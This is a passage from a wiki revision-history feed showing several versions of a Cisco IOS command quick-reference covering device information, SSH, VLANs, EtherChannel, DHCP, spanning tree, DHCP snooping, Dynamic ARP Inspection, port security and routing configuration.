Manually define a path to a remote network. Here's an example manually defining the administrative distance<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1121
Cisco Commands
2026-02-23T22:35:48Z
<p>50.220.241.211: /* Set Default Gateway */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway (switch) ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
=== Assign IPv4 Default Route / Default Gateway (Router) ===<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
----<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using default administrative distance values listed in the section below.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network. Here's an example manually defining the administrative distance<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1120
Cisco Commands
2026-02-23T22:35:29Z
<p>50.220.241.211: /* Configure a Default Route / Default Gateway */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
=== Assign IPv4 Default Route / Default Gateway (Router) ===<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
----<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
